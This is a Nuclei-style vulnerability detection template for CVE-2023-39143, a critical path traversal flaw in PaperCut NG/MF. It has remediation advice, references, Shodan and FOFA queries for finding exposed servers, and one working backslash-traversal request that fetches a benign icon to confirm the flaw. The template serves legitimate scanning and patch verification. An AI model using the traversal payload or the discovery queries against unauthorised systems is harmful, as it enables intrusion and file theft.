54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2023-39143
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info:
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name: PaperCut < 22.1.3 - Path Traversal
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author: pdteam
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severity: critical
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description: PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.
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impact: |
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An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of information or remote code execution.
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remediation: |
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Upgrade PaperCut to version 22.1.3 or later to mitigate the vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2023-39143
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- https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/
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- https://www.papercut.com/kb/Main/securitybulletinjuly2023/
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- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a
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- https://github.com/nomi-sec/PoC-in-GitHub
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-39143
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cwe-id: CWE-22
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epss-score: 0.95367
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epss-percentile: 0.9936
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cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: papercut
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product: papercut_mf
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shodan-query:
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- html:"content=\"PaperCut\""
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- http.html:"papercut"
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- http.html:"content=\"papercut\""
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- cpe:"cpe:2.3:a:papercut:papercut_mf"
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fofa-query:
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- body="papercut"
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- body="content=\"papercut\""
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tags: cve2023,cve,lfi,papercut
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http:
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- method: GET
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path:
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- "{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png"
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matchers:
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- type: dsl
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dsl:
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- content_length == 1655
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- status_code == 200
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- contains(to_lower(content_type), "image/png")
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- contains(hex_encode(body), "89504e470d0a1a0a") # PNG file signature in hex
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condition: and
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# digest: 4b0a00483046022100d4b39621fcab1929272ab47121f4a4b867f1b56ea253efa9d279485bbb236063022100bfaa457890fb2327e090c027195d0101e3aa5236c5f7ffaadceb61282b17874e:922c64590222798bb761d5b6d8e72950 |